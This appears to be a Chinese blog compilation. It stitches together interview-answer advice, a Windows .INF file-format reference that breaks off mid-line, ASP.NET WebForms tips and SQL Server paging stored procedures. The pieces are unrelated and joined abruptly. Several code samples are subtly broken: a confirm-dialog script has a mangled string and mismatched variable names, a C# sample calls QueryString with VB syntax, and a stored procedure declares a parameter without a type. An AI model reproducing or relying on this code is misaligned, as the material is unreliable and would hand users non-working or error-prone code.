        
         7.就你申请的这个职位,你认为你还欠缺什么?
        外企喜欢问求职者弱点,但精明的求职者一般不直接回答。他们希望看到这样的求职者:继续重复自己的优势,然后说:“对于这个职位和我的能力来说,我相信自己是可以胜任的,只是缺乏经验,这个问题我想我可以进入公司以后以最短的时间来解决,我的学习能力很强,我相信可以很快融入公司的企业文化,进入工作状态。”外企喜欢能够巧妙地躲过难题的求职者。
        
         8.你期望的工资是多少?
        外企的工资水平是很灵活的,何种能力拿何种工资。外企喜欢直率的人,但这个问题却不能正面回答,外企希望听到:“以我的能力和我的优势,我完全可以胜任这个职位,我相信我可以做得很好。但是贵公司对这个职位的描述不是很具体,我想还可以延后再讨论”。外企欢迎求职者给其定薪的自由度,而不是咬准一个价码。
        
         9.你能给公司带来什么?
        外企很想知道未来的员工能为企业做什么,求职者应再次重复自己的优势,然后说:“就我的能力,我可以做一个优秀的员工在组织中发挥能力,给组织带来高效率和更多的收益”。外企喜欢求职者就申请的职位表明自己的能力,比如申请营销之类的职位,可以说:“我可以开发大量的新客户,同时,对老客户做更全面周到的服务,开发老客户的新需求和消费。”等等。
        
         10.你还有什么问题吗?
        外企的这个问题看上去可有可无,其实很关键,外企不喜欢说“没有问题”的人,因为其很注重员工的个性和创新能力。外企不喜欢求职者问个人福利之类的问题,如果有人这样问:贵公司对新入公司的员工有没有什么培训项目,我可以参加吗?或者说贵公司的晋升机制是什么样的?外企将很欢迎,因为体现出你对学习的热情和对公司的忠诚度以及你的上进心。


      .INF文件格式说明

      INF文件必须包含以下规则:


             节(Sections)开始于由中括号([])扩起来的节名


      必须包含版本信息节以表明自己属于win95还是winnt4格式。


      (Value)%strkey%替代的表达式字符串表达组成,strkey必须在strings节中定义。如果出现%,则用%%替代。


       


      Setup程序使用以下各节:


      [Version]        必须包含在INF文件中,表明inf文件格式


      [Version]


      Signature="signature-name"


      Class=class-name


      ClassGUID=GUID


      Provider=INF-creator


      LayoutFile=filename.inf[,filename.inf]...


       


      Signature-name


      参数可以取值 $Windows NT$, $Chicago$, or $Windows 95$(引号括起来).如果不是以上这些字符串,则不被认可为inf文件。


      Class-name


      此参数用于安装设备驱动。详细信息见DDK Programmer's Guide.


      GUID


      此参数用于安装设备驱动。详细信息见DDK Programmer's Guide.


      INF-creator


      标示INF的创建者. 典型的情况,此值为inf文件的创建者所在组织


      filename.inf


      INF文件必须包含SourceDisksFiles SourceDisksNames 节。这些文件的描述文件通常命名为 LAYOUT.INF. 如果文件名不是特别指定,SourceDisksNames SourceDisksFiles 必须出现在当前inf文件中


      以下为典型的例子:


      [Version]


      Signature="$Windows NT$"


      Class=Mouse


      ClassGUID={4D36E96F-E325-11CE-BFC1-08002BE10318}


      Provider=%Provider%


      LayoutFile=layout.inf


       


      [Strings]


      Provider="Corporation X"


       


      [Install]   此节指定包含的安装指令节,每一个条目将会成为一节


                    [install-section-name]


      LogConfig=log-config-section-name[,log-config-section-name]...


      Copyfiles=file-list-section[,file-list-section]...


      Renfiles=file-list-section[,file-list-section]...


      Delfiles=file-list-section[,file-list-section]...


      UpdateInis=update-ini-section[,update-ini-section]...


      UpdateIniFields=update-inifields-section[,update-inifields-section]...


      AddReg=add-registry-section[,add-registry-section]...


      DelReg=del-registry-section[,del-registry-section]...


      Ini2Reg=ini-to-registry-section[,ini-to-registry-section]...


            


                    以上各条目并非全部必须。节名必须为可见字符。每个条目包含一到多个节。第一个命名之后的所有命名必须以,引导。条目指定了必须出现在INF文件中的各节。CopyFiles则可例外(如果没有任何文件被拷贝)。


      如果安装驱动程序,仅仅使用LogConfig条目。详见DDK Programmer's Guide.


                    CopyFiles条目中可以包含特殊字符@ 以直接拷贝一个单一文件。文件将拷贝到DefaultDestDir, DestinationDirs节包含了DefaultDestDir的描述。如例子:


                    [MyInstall]


      CopyFiles= @MyFile.exe


      此文件将拷贝到缺省目标目录。


       


      为适应不同平台,可以在install节后加上不同的后缀。可以出现defaultInstall.nt这样的节名。install-section-name可选的后缀:


      Extension                                      Platform


      .Win                                           Windows 95


      .NT                                           Windows NT (all platforms)


      .NTx86                                        Windows NT (x86 only)


      .NTMIPS                              Windows NT (MIPS only)


      .NTAlpha                                    Windows NT (Alpha only)


      .NTPPC                                       Windows NT (PowerPC only)


       


      以下例子展示了如何出现两个copyfiles节:


      [Ser_Inst]


      CopyFiles=Ser_CopyFiles, mouclass_CopyFiles


       


      [Ser_CopyFiles]


      sermouse.sys


       


      [mouclass_CopyFiles]


      mouclass.sys


       


       


       


       


       


       


      [Add Registry]       描述如何增加注册表项目。add-registry-section 节名必须处现在install节中的 AddReg 条目中。


                    [add-registry-section]


      reg-root-string, [subkey], [value-name], [flags], [value]


      [reg-root-string, [subkey], [value-name], [flags], [value]]


                   


                    reg-root-string 注册表的根名:


                    HKCR                HKEY_CLASSES_ROOT.


      HKCU                HKEY_CURRENT_USER.


      HKLM                HKEY_LOCAL_MACHINE.


      HKU                HKEY_USERS.


      HKR                相关于 SetupInstallFromInfSection.节中指定的值


       


      subkey


      可选,例如 key1\key2\key3....


       


      value-name


      可选,标示subkey的值名称。对于字符串类型可以空,标示缺省字符串值


       


      flag        值类型的标示


      Value                             Meaning


      FLG_ADDREG_BINVALUETYPE  The value is "raw" data.


      FLG_ADDREG_NOCLOBBER         如果注册表中出现不要覆盖此值.


      FLG_ADDREG_DELVAL                       从注册表中删除此键


      FLG_ADDREG_APPEND                       追加一个值到已存值中,仅仅支持REG_MULTI_SZ


      FLG_ADDREG_TYPE_MASK               Mask.


      FLG_ADDREG_TYPE_SZ                REG_SZ类型


      FLG_ADDREG_TYPE_MULTI_SZ  REG_MULTI_SZ.


      FLG_ADDREG_TYPE_EXPAND_SZ REG_EXPAND_SZ.


      FLG_ADDREG_TYPE_BINARY    REG_BINARY.


      FLG_ADDREG_TYPE_DWORD    REG_DWORD.


      FLG_ADDREG_TYPE_NONE               REG_NONE.


                           Windows 95 安装程序将视扩展数据类型为REG_SZ or REG_BINARY.


                          


      value


      可选. 16进值或者字符串


            


       


       


       


       


       


       


      [CopyFiles]       此类节可以有多个,定义于install节中。


                           [file-list-section]


      destination-file-name[,source-file-name][,temporary-file-name][,flag]


      [destination-file-name[,source-file-name][,temporary-file-name]][,flag]


      .


                           destination-file-name


      目标文件名,如果没有给出源文件名,那么此名也是源文件名.


      source-file-name


      源文件名,如果没有给出目标文件名,那么此名也是目标文件名.


      temporary-file-name


      被忽略,setup函数自动处理临时文件.


      flag


      可选,用于控制文件如何被拷贝。你必须配置实际值


      COPYFLG_WARN_IF_SKIP (0x00000001)


      如果用户试图在发生一个错误后跳过将显示警告信息


      COPYFLG_NOSKIP (0x00000002)


      不允许用户跳过拷贝此文件


      COPYFLG_NOVERSIONCHECK (0x00000004)


      如果文件存在于目标目录,忽略


      COPYFLG_FORCE_FILE_IN_USE (0x00000008)


      替换被使用得文件?,当拷贝时文件被使用


      COPYFLG_NO_OVERWRITE (0x00000010)


      不覆盖目标文件中已存文件


      COPYFLG_NO_VERSION_DIALOG (0x00000020)


      如果目标文件已存且新则不覆盖也不出现对话框


      COPYFLG_REPLACEONLY (0x00000040)


      替换目标文件


       


       


       


      [delete Registry]       描述如何增加注册表项目。del-registry-section 节名必须处现在install节中的 DelReg 条目中。


                    [del-registry-section]


      reg-root-string, [subkey], [value-name], [flags], [value]


      [reg-root-string, [subkey], [value-name], [flags], [value]]


                   


                    reg-root-string 注册表的根名:


                    HKCR                HKEY_CLASSES_ROOT.


      HKCU                HKEY_CURRENT_USER.


      HKLM                HKEY_LOCAL_MACHINE.


      HKU                HKEY_USERS.


      HKR                相关于 SetupInstallFromInfSection.节中指定的值


       


      subkey


       


      value-name


      可选,标示subkey的值名称。对于字符串类型可以空,标示缺省字符串值


       


       


      [Delete Files]       此节指定需要被删除的文件,节名必须出现在install中的delfiles条目中


                    [file-list-section]


      file-name[,,,flag]


                   


                    flag


                    可选。


      DELFLG_IN_USE (0x00000001)


      当因为文件正被使用,SetupCommitFileQueue 取消, 将排队在系统重新启动时候被删除。


      如果不使用此值,则安装时候被使用的文件不会被delete files指定节删除


      DELFLG_IN_USE1 (0x00010000)


      高字节版本的DELFLG_IN_USE. Setting DELFLG_IN_USE1 差别在于同样可适用于Copyfiles节和delete Files节即使COPYFLG_WARN_IF_SKIP 标志被使用。


       


       


      [INI File to Registry] 此节指示那些ini文件中的条目将对应到注册表。


                           [ini-to-registry-section]


      ini-file, ini-sect

      Asp.net实用技巧(1)

      1.在新窗口中打开页面
          我们经常需要在点击某个Button的时候打开一个新的页面,而且由于应用的需要,我们又不能使用超级连接或者LinkButton来代替这个Button,于是我们只有在Button的Click事件中进行新页面的打开工作。我将这个工作封装成一个API,如下:



       1#region OpenWindowInNewPage
       2        //在新窗口中打开页面
       3        public static void OpenWindowInNewPage(Page curPage ,string destUrl)
       4        
      {            
       5            string scriptString = string.Format("<script language='JavaScript'>window.open('" + "{0}" + "','_new');<"
       ,destUrl) ;
       6            scriptString += "/"
      ;
       7            scriptString += "script>"
      ;
       8            if(!curPage.IsStartupScriptRegistered("Startup"
      ))
       9            
      {
      10                curPage.RegisterStartupScript("Startup"
      , scriptString);
      11            }

      12        }

      13        #endregion


      2.如果需要打开固定大小的页面,可以使用如下API



       1#region OpenNewFixSizePage
       2        //打开一个固定大小的页面,如果fullScreen为true ,则high与width不起作用
       3        public static void OpenNewFixSizePage(Page page, string pageUrl, bool isCloseOldPage, string scriptName ,bool fullScreen ,int high ,int width)
       4        
      {
       5            StringBuilder StrScript = new
       StringBuilder(); 
       6            StrScript.Append( "<script language=javascript>"
       );
       7            if
      (fullScreen)
       8            
      {
       9                StrScript.Append("width=screen.Width-10;"+"\n"
      );
      10                StrScript.Append("height=screen.height-60;"+"\n"
      ); 
      11            }

      12            else
      13            {
      14                StrScript.Append(string.Format("width={0};" ,width)+"\n"
      );
      15                StrScript.Append(string.Format("height={0};" ,high)+"\n"
      ); 
      16            }

      17
      18            StrScript.Append( "window.open('"+ pageUrl +"','_blank','toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=yes,resizable=yes,top=0,left=0,height='+ height +',width='+ width +'');"
       ); 
      19            if
       ( isCloseOldPage )
      20            
      {
      21                StrScript.Append( " window.focus();"
       );
      22                StrScript.Append( " window.opener=null;"
       );
      23                StrScript.Append( " window.close(); "
       );
      24            }

      25            StrScript.Append( "</script>" );
      26            if ( !
       page.IsStartupScriptRegistered( scriptName ) )
      27            
      {
      28
                      page.RegisterStartupScript( scriptName, StrScript.ToString() );
      29            }

      30        }

      31        #endregion

       


      3.还有一种情况就是我们需要在关闭当前页面时,刷新当前页面的“父页面”,所谓“父页面”,就是Post本页面之前的一个页面。可以调用如下API:



      #region RefreshFatherPage 
              
      //刷新Father页面        
              public static void RefreshFatherPage(HttpResponse Response ,bool isCloseCurPage)
              
      {            
                  StringBuilder scriptString 
      = new
       StringBuilder();
                  scriptString.Append(
      "<script language = javascript>"
      );
                  scriptString.Append(
      "window.opener.refresh();"
      );
                  
      if
       (isCloseCurPage )
                  
      {
                      scriptString.Append( 
      " window.focus();"
       );
                      scriptString.Append( 
      " window.opener=null;"
       );
                      scriptString.Append( 
      " window.close(); "
       );
                  }

                  scriptString.Append(
      "</"+"script>");
                  Response.Write(scriptString.ToString());
              }


              
      /*
               需要在Father页面的html中添加如下脚本(在Header中):
               <script language="javascript">
              function refresh()
              {
                  this.location = this.location;
              }
              </script>
               
      */

              
      #endregion

              以前一直都是做WindowsForm,现在因为公司的项目需要,不得不研究WebForm,以上的几个技巧是这几天解决工作中的问题而总结出来的,如有更好的办法,还请留言告诉我,谢谢!

      1. 打开新的窗口并传送参数:

      传送参数:
      response.write("<script>window.open('*.aspx?id="+this.DropDownList1.SelectIndex+"&id1="+...+"')</script>")


      接收参数:
      string a  = Request.QueryString("id");
      string b  = Request.QueryString("id1");



      2.为按钮添加对话框


      Button1.Attributes.Add("onclick","return confirm('确认?')");


      button.attributes.add("onclick","if(confirm('are you sure...?')){return true;}else{return false;}")



      3.删除表格选定记录


      int intEmpID = (int)MyDataGrid.DataKeys[e.Item.ItemIndex];
      string deleteCmd = "DELETE from Employee where emp_id = " + intEmpID.ToString()


      4.删除表格记录警告
      private void DataGrid_ItemCreated(Object sender,DataGridItemEventArgs e)
      {
       switch(e.Item.ItemType)
       {
        case ListItemType.Item :
        case ListItemType.AlternatingItem :
        case ListItemType.EditItem:
          TableCell myTableCell;
          myTableCell = e.Item.Cells[14];
          LinkButton myDeleteButton ;
          myDeleteButton = (LinkButton)myTableCell.Controls[0];
          myDeleteButton.Attributes.Add("onclick","return confirm('您是否确定要删除这条信息');");
          break;
        default:
         break;
       }


      }



      5.点击表格行链接另一页


      private void grdCustomer_ItemDataBound(object sender, System.Web.UI.WebControls.DataGridItemEventArgs e)
      {
      //点击表格打开
      if (e.Item.ItemType == ListItemType.Item || e.Item.ItemType == ListItemType.AlternatingItem)
       e.Item.Attributes.Add("onclick","window.open('Default.aspx?id=" + e.Item.Cells[0].Text + "');");
      }



      双击表格连接到另一页
      在itemDataBind事件中
      if(e.Item.ItemType == ListItemType.Item || e.Item.ItemType == ListItemType.AlternatingItem)
         {
      string OrderItemID =e.item.cells[1].Text;
      ...
      e.item.Attributes.Add("ondblclick", "location.href='../ShippedGrid.aspx?id=" + OrderItemID + "'");
      }
      双击表格打开新一页
      if(e.Item.ItemType == ListItemType.Item || e.Item.ItemType == ListItemType.AlternatingItem)
         {
      string OrderItemID =e.item.cells[1].Text;
      ...
      e.item.Attributes.Add("ondblclick", "open('../ShippedGrid.aspx?id=" + OrderItemID + "')");
      }
      ★特别注意:【?id=】 处不能为 【?id =】


      6.表格超连接列传递参数
      <asp:HyperLinkColumn Target="_blank"  headertext="ID号" DataTextField="id" NavigateUrl="aaa.aspx?id='<%# DataBinder.Eval(Container.DataItem, "数据字段1")%>'  & name='<%# DataBinder.Eval(Container.DataItem, "数据字段2")%>' />



      7.表格点击改变颜色
      if (e.Item.ItemType == ListItemType.Item ||e.Item.ItemType == ListItemType.AlternatingItem)
      {
        e.Item.Attributes.Add("onclick","this.style.backgroundColor='#99cc00';this.style.color='buttontext';this.style.cursor='default';");
      }



      写在DataGrid的_ItemDataBound里
      if (e.Item.ItemType == ListItemType.Item ||e.Item.ItemType == ListItemType.AlternatingItem)
      {
        e.Item.Attributes.Add("onmouseover","this.style.backgroundColor='#99cc00';this.style.color='buttontext';this.style.cursor='default';");
      e.Item.Attributes.Add("onmouseout","this.style.backgroundColor='';this.style.color='';");
      }


      8.关于日期格式


      日期格式设定
      DataFormatString="{0:yyyy-MM-dd}"


      我觉得应该在itembound事件中
      e.items.cell["你的列"].text=DateTime.Parse(e.items.cell["你的列"].text.ToString("yyyy-MM-dd"))


      9.获取错误信息并到指定页面
      不要使用Response.Redirect,而应该使用Server.Transfer
      e.g
      // in global.asax
      protected void Application_Error(Object sender, EventArgs e) {
        if (Server.GetLastError() is HttpUnhandledException)
            Server.Transfer("MyErrorPage.aspx");


      //其余的非HttpUnhandledException异常交给ASP.NET自己处理就okay了 :)
      }


      Redirect会导致post-back的产生从而丢失了错误信息,所以页面导向应该直接在服务器端执行,这样就可以在错误处理页面得到出错信息并进行相应的处理



      10.清空Cookie
      Cookie.Expires=[DateTime];
      Response.Cookies("UserName").Expires = 0



      11.自定义异常处理


      //自定义异常处理类
      using System;
      using System.Diagnostics;


      namespace MyAppException
      {
       /// <summary>
       /// 从系统异常类ApplicationException继承的应用程序异常处理类。
       /// 自动将异常内容记录到Windows NT/2000的应用程序日志
       /// </summary>
       public class AppException:System.ApplicationException
       {
        public AppException()
        {
         if (ApplicationConfiguration.EventLogEnabled)
          LogEvent("出现一个未知错误。");
        }


        public AppException(string message)
        {
         LogEvent(message);
        }


        public AppException(string message,Exception innerException)
        {
         LogEvent(message);
         if (innerException != null)
         {
          LogEvent(innerException.Message);
         }
        }


      //日志记录类
      using System;
      using System.Configuration;
      using System.Diagnostics;
      using System.IO;
      using System.Text;
      using System.Threading;


      namespace MyEventLog
      {
       /// <summary>
       ///     事件日志记录类,提供事件日志记录支持
       ///     <remarks>
       ///         定义了4个日志记录方法 (error, warning, info, trace)
       ///     </remarks>
       /// </summary>
       public class ApplicationLog
       {
           /// <summary>
        ///     将错误信息记录到Win2000/NT事件日志中
        ///     <param name="message">需要记录的文本信息</param>
        /// </summary>
        public static void WriteError(String message)
        {
       
         WriteLog(TraceLevel.Error, message);
        }
             
        /// <summary>
        ///     将警告信息记录到Win2000/NT事件日志中
        ///     <param name="message">需要记录的文本信息</param>
        /// </summary>
        public static void WriteWarning(String message)
        {
       
         WriteLog(TraceLevel.Warning, message);
        }
             
        /// <summary>
        ///     将提示信息记录到Win2000/NT事件日志中
        ///     <param name="message">需要记录的文本信息</param>
        /// </summary>
        public static void WriteInfo(String message)
        {
         WriteLog(TraceLevel.Info, message);
        }
        /// <summary>
        ///     将跟踪信息记录到Win2000/NT事件日志中
        ///     <param name="message">需要记录的文本信息</param>
        /// </summary>
        public static void WriteTrace(String message)
        {
         
         WriteLog(TraceLevel.Verbose, message);
        }
             
        /// <summary>
        ///    格式化记录到事件日志的文本信息格式
        ///     <param name="ex">需要格式化的异常对象</param>
        ///     <param name="catchInfo">异常信息标题字符串.</param>
        ///     <retvalue>
        ///         <para>格式后的异常信息字符串,包括异常内容和跟踪堆栈.</para>
        ///     </retvalue>
        /// </summary>
        public static String FormatException(Exception ex, String catchInfo)
        {
         StringBuilder strBuilder = new StringBuilder();
         if (catchInfo != String.Empty)
         {
          strBuilder.Append(catchInfo).Append("\r\n");
         }
         strBuilder.Append(ex.Message).Append("\r\n").Append(ex.StackTrace);
         return strBuilder.ToString();
        }


        /// <summary>
        ///     实际事件日志写入方法
        ///     <param name="level">要记录信息的级别(error,warning,info,trace).</param>
        ///     <param name="messageText">要记录的文本.</param>
        /// </summary>
        private static void WriteLog(TraceLevel level, String messageText)
        {
         
         try
         {  
          EventLogEntryType LogEntryType;
          switch (level)
          {
           case TraceLevel.Error:
            LogEntryType = EventLogEntryType.Error;
            break;
           case TraceLevel.Warning:
            LogEntryType = EventLogEntryType.Warning;
            break;
           case TraceLevel.Info:
            LogEntryType = EventLogEntryType.Information;
            break;
           case TraceLevel.Verbose:
            LogEntryType = EventLogEntryType.SuccessAudit;
            break;
           default:
            LogEntryType = EventLogEntryType.SuccessAudit;
            break;
          }
         
          EventLog eventLog = new EventLog("Application", ApplicationConfiguration.EventLogMachineName,         ApplicationConfiguration.EventLogSourceName );
          //写入事件日志
          eventLog.WriteEntry(messageText, LogEntryType);
         
         }
         catch {} //忽略任何异常
        }   
       } //class ApplicationLog
      }



      12.Panel 横向滚动,纵向自动扩展
       <asp:panel  style="overflow-x:scroll;overflow-y:auto;"></asp:panel>



      13.回车转换成Tab
      <script language="javascript" for="document" event="onkeydown">
      if(event.keyCode==13 && event.srcElement.type!='button' && event.srcElement.type!='submit' && event.srcElement.type!='reset' && event.srcElement.type!=''&& event.srcElement.type!='textarea');
      event.keyCode=9;
      </script>


      onkeydown="if(event.keyCode==13) event.keyCode=9"


      http://dotnet.aspx.cc/exam/enter2tab.aspx



      14.DataGrid超级连接列
      DataNavigateUrlField="字段名" DataNavigateUrlFormatString="
      http://xx/inc/delete.aspx?ID={0}"



      15.DataGrid行随鼠标变色
       private void DGzf_ItemDataBound(object sender, System.Web.UI.WebControls.DataGridItemEventArgs e)
        {
         if (e.Item.ItemType!=ListItemType.Header)
         {
          e.Item.Attributes.Add( "onmouseout","this.style.backgroundColor=\""+e.Item.Style["BACKGROUND-COLOR"]+"\"");
          e.Item.Attributes.Add( "onmouseover","this.style.backgroundColor=\""+ "#EFF3F7"+"\"");
         }
        
        }



      16.模板列
       <ASP:TEMPLATECOLUMN visible="False" sortexpression="demo" headertext="ID">
       <ITEMTEMPLATE>
        <ASP:LABEL text='<%# DataBinder.Eval(Container.DataItem, "ArticleID")%>' runat="server" width="80%" id="lblColumn" />
       </ITEMTEMPLATE>
       </ASP:TEMPLATECOLUMN>



      <ASP:TEMPLATECOLUMN headertext="选中">
       <HEADERSTYLE wrap="False" horizontalalign="Center"></HEADERSTYLE>
       <ITEMTEMPLATE>
        <ASP:CHECKBOX id="chkExport" runat="server" />
       </ITEMTEMPLATE>
       <EDITITEMTEMPLATE>
       <ASP:CHECKBOX id="chkExportON" runat="server" enabled="true" />
       </EDITITEMTEMPLATE>
      </ASP:TEMPLATECOLUMN>


      后台代码


      protected void CheckAll_CheckedChanged(object sender, System.EventArgs e)
        {
         //改变列的选定,实现全选或全不选。
         CheckBox chkExport ;
         if( CheckAll.Checked)
         {
          foreach(DataGridItem oDataGridItem in MyDataGrid.Items)
          {
           chkExport = (CheckBox)oDataGridItem.FindControl("chkExport");
           chkExport.Checked = true;
          }
         }
         else
         {
          foreach(DataGridItem oDataGridItem in MyDataGrid.Items)
          {
           chkExport = (CheckBox)oDataGridItem.FindControl("chkExport");
           chkExport.Checked = false;
          }
         }
        }


      17.数字格式化
      【<%#Container.DataItem("price")%>的结果是500.0000,怎样格式化为500.00?】


      <%#Container.DataItem("price","{0:¥#,##0.00}")%>


      int i=123456;
      string s=i.ToString("###,###.00");


      18.日期格式化


      【aspx页面内:<%# DataBinder.Eval(Container.DataItem,"Company_Ureg_Date")%>
       显示为: 2004-8-11 19:44:28
       我只想要:2004-8-11 】


      <%# DataBinder.Eval(Container.DataItem,"Company_Ureg_Date","{0:yyyy-M-d}")%>


      应该如何改?



      【格式化日期】
      取出来,一般是object
      ((DateTime)objectFromDB).ToString("yyyy-MM-dd");



      【日期的验证表达式】
      A.以下正确的输入格式: [2004-2-29], [2004-02-29 10:29:39 pm], [2004/12/31] 


      ^((\d{2}(([02468][048])|([13579][26]))[\-\/\s]?((((0?[13578])|(1[02]))[\-\/\s]?((0?[1-9])|([1-2][0-9])|(3[01])))|(((0?[469])|(11))[\-\/\s]?((0?[1-9])|([1-2][0-9])|(30)))|(0?2[\-\/\s]?((0?[1-9])|([1-2][0-9])))))|(\d{2}(([02468][1235679])|([13579][01345789]))[\-\/\s]?((((0?[13578])|(1[02]))[\-\/\s]?((0?[1-9])|([1-2][0-9])|(3[01])))|(((0?[469])|(11))[\-\/\s]?((0?[1-9])|([1-2][0-9])|(30)))|(0?2[\-\/\s]?((0?[1-9])|(1[0-9])|(2[0-8]))))))(\s(((0?[1-9])|(1[0-2]))\:([0-5][0-9])((\s)|(\:([0-5][0-9])\s))([AM|PM|am|pm]{2,2})))?$


      B.以下正确的输入格式:[0001-12-31], [9999 09 30], [2002/03/03] 


      ^\d{4}[\-\/\s]?((((0[13578])|(1[02]))[\-\/\s]?(([0-2][0-9])|(3[01])))|(((0[469])|(11))[\-\/\s]?(([0-2][0-9])|(30)))|(02[\-\/\s]?[0-2][0-9]))$



      【大小写转换】


      HttpUtility.HtmlEncode(string);
      HttpUtility.HtmlDecode(string)


      19.如何设定全局变量
      Global.asax中


      Application_Start()事件中


      添加Application[属性名] = xxx;


      就是你的全局变量


      20.怎样作到HyperLinkColumn生成的连接后,点击连接,打开新窗口?


      HyperLinkColumn有个属性Target,将器值设置成"_blank"即可.(Target="_blank")


      【ASPNETMENU】点击菜单项弹出新窗口
      在你的menuData.xml文件的菜单项中加入URLTarget="_blank"
      如:
      <?xml version="1.0" encoding="GB2312"?>
      <MenuData ImagesBaseURL="images/">
        <MenuGroup>
          <MenuItem Label="内参信息" URL="Infomation.aspx" >
            <MenuGroup ID="BBC">
              <MenuItem Label="公告信息"   URL="Infomation.aspx" URLTarget="_blank"  LeftIcon="file.gif"/>
              <MenuItem Label="编制信息简报" URL="NewInfo.aspx" LeftIcon="file.gif" />
      ......
      最好将你的aspnetmenu升级到1.2版


      21.委托讨论
      http://community.csdn.net/Expert/topic/2651/2651579.xml?temp=.7183191
      http://dev.csdn.net/develop/article/22/22951.shtm


      22.读取DataGrid控件TextBox值


      foreach(DataGrid dgi in yourDataGrid.Items)
      {
          TextBox tb = (TextBox)dgi.FindControl("yourTextBoxId");
          tb.Text....
      }


      23.在DataGrid中有3个模板列包含Textbox分别为 DG_ShuLiang (数量) DG_DanJian(单价) DG_JinE(金额)分别在5.6.7列,要求在录入数量及单价的时候自动算出金额即:数量*单价=金额还要求录入时限制为 数值型.我如何用客户端脚本实现这个功能?


      〖思归〗
         <asp:TemplateColumn HeaderText="数量">
        <ItemTemplate>
         <asp:TextBox id="ShuLiang" runat='server' Text='<%# DataBinder.Eval(Container.DataItem,"DG_ShuLiang")%>' 
          onkeyup="javascript:DoCal()"
         />


         <asp:RegularExpressionValidator id="revS" runat="server" ControlToValidate="ShuLiang" ErrorMessage="must be integer" ValidationExpression="^\d+$" />
        </ItemTemplate>
            </asp:TemplateColumn>


            <asp:TemplateColumn HeaderText="单价">
        <ItemTemplate>
         <asp:TextBox id="DanJian" runat='server' Text='<%# DataBinder.Eval(Container.DataItem,"DG_DanJian")%>'
          onkeyup="javascript:DoCal()"
         />


        <asp:RegularExpressionValidator id="revS2" runat="server" ControlToValidate="DanJian" ErrorMessage="must be numeric" ValidationExpression="^\d+(\.\d*)?$" />


        </ItemTemplate>
            </asp:TemplateColumn>


           <asp:TemplateColumn HeaderText="金额">
        <ItemTemplate>
         <asp:TextBox id="JinE" runat='server' Text='<%# DataBinder.Eval(Container.DataItem,"DG_JinE")%>' />
        </ItemTemplate>
            </asp:TemplateColumn>




      <script language="javascript">
      function DoCal()
      {
        var e = event.srcElement;
        var row = e.parentNode.parentNode;
        var txts = row.all.tags("INPUT");
        if (!txts.length || txts.length < 3)
       return;
       
        var q = txts[txts.length-3].value;
        var p = txts[txts.length-2].value;


        if (isNaN(q) || isNaN(p))
       return;


        q = parseInt(q);
        p = parseFloat(p);


        txts[txts.length-1].value = (q * p).toFixed(2);
      }
      </script>



      24.datagrid选定比较底下的行时,为什么总是刷新一下,然后就滚动到了最上面,刚才选定的行因屏幕的关系就看不到了
      page_load
      page.smartNavigation=true


      25.在Datagrid中修改数据,当点击编辑键时,数据出现在文本框中,怎么控制文本框的大小 ?


      private void DataGrid1_ItemDataBound(obj sender,DataGridItemEventArgs e)
      {
             for(int i=0;i<e.Item.Cells.Count-1;i++)
                if(e.Item.ItemType==ListItemType.EditType)
                 {
                        e.Item.Cells[i].Attributes.Add("Width", "80px")


                  }  
      }



      26.对话框
      private static string ScriptBegin = "<script language=\"JavaScript\">";
      private static string ScriptEnd = "</script>";


      public static void ConfirmMessageBox(string PageTarget,string Content)
        {


         string ConfirmContent="var retvalue="/oblog4/window.confirm('"+Content+"');"+"if(retValue){window.location="'"+PageTarget+"';}";
         
         ConfirmContent=ScriptBegin + ConfirmContent + ScriptEnd;
         
         Page ParameterPage = (Page)System.Web.HttpContext.Current.Handler;
         ParameterPage.RegisterStartupScript("confirm",ConfirmContent);
         //Response.Write(strScript);
        
        }

      精彩的近乎完美的分页存储过程


      CREATE procedure main_table_pwqzc
      (@pagesize int,
      @pageindex int,
      @docount bit,
      @this_id)
      as
      if(@docount=1)
      begin
      select count(id) from luntan where
      this_id=@this_id
      end
      else
      begin
      declare @indextable table(id int identity(1,1),nid int)
      declare @PageLowerBound int
      declare @PageUpperBound int
      set @PageLowerBound=(@pageindex-1)*@pagesize
      set @PageUpperBound=@PageLowerBound+@pagesize
      set rowcount @PageUpperBound
      insert into @indextable(nid) select id from luntan where
      this_id=@this_id order by reply_time desc
      select a.* from luntan a,@indextable t where a.id=t.nid
      and t.id>@PageLowerBound and t.id<
      =@PageUpperBound order by t.id
      end
      GO


      存储过程会根据传入的参数@docount来确定是不是要返回所有要分页的记录总数
      特别是这两行
      set rowcount @PageUpperBound
      insert into @indextable(nid) select id from luntan where
      this_id=@this_id order by reply_time desc


      真的是妙不可言!!set rowcount @PageUpperBound当记录数达到@PageUpperBound时就会停止处理查询
      ,select id 只把id列取出放到临时表里,select a.* from luntan a,@indextable t where a.id=t.nid
      and t.id>@PageLowerBound and t.id<
      =@PageUpperBound order by t.id
      而这句也只从表中取出所需要的记录,而不是所有的记录,结合起来,极大的提高了效率!!
      妙啊,真的妙!!!!


      CREATE PROCEDURE Paging_RowCount
      (
      @Tables varchar(1000),
      @PK varchar(100),
      @Sort varchar(200) = NULL,
      @PageNumber int = 1,
      @PageSize int = 10,
      @Fields varchar(1000) = '*',
      @Filter varchar(1000) = NULL,
      @Group varchar(1000) = NULL)
      AS


      /*Default Sorting*/
      IF @Sort IS NULL OR @Sort = ''
       SET @Sort = @PK


      /*Find the @PK type*/
      DECLARE @SortTable varchar(100)
      DECLARE @SortName varchar(100)
      DECLARE @strSortColumn varchar(200)
      DECLARE @operator char(2)
      DECLARE @type varchar(100)
      DECLARE @prec int


      /*Set sorting variables.*/ 
      IF CHARINDEX('DESC',@Sort)>0
       BEGIN
        SET @strSortColumn = REPLACE(@Sort, 'DESC', '')
        SET @operator = '<='
       END
      ELSE
       BEGIN
        IF CHARINDEX('ASC', @Sort) = 0
         SET @strSortColumn = REPLACE(@Sort, 'ASC', '')
        SET @operator = '>='
       END



      IF CHARINDEX('.', @strSortColumn) > 0
       BEGIN
        SET @SortTable = SUBSTRING(@strSortColumn, 0, CHARINDEX('.',@strSortColumn))
        SET @SortName = SUBSTRING(@strSortColumn, CHARINDEX('.',@strSortColumn) + 1, LEN(@strSortColumn))
       END
      ELSE
       BEGIN
        SET @SortTable = @Tables
        SET @SortName = @strSortColumn
       END


      SELECT @type=t.name, @prec=c.prec
      FROM sysobjects o
      JOIN syscolumns c on o.id=c.id
      JOIN systypes t on c.xusertype=t.xusertype
      WHERE o.name = @SortTable AND c.name = @SortName


      IF CHARINDEX('char', @type) > 0
         SET @type = @type + '(' + CAST(@prec AS varchar) + ')'


      DECLARE @strPageSize varchar(50)
      DECLARE @strStartRow varchar(50)
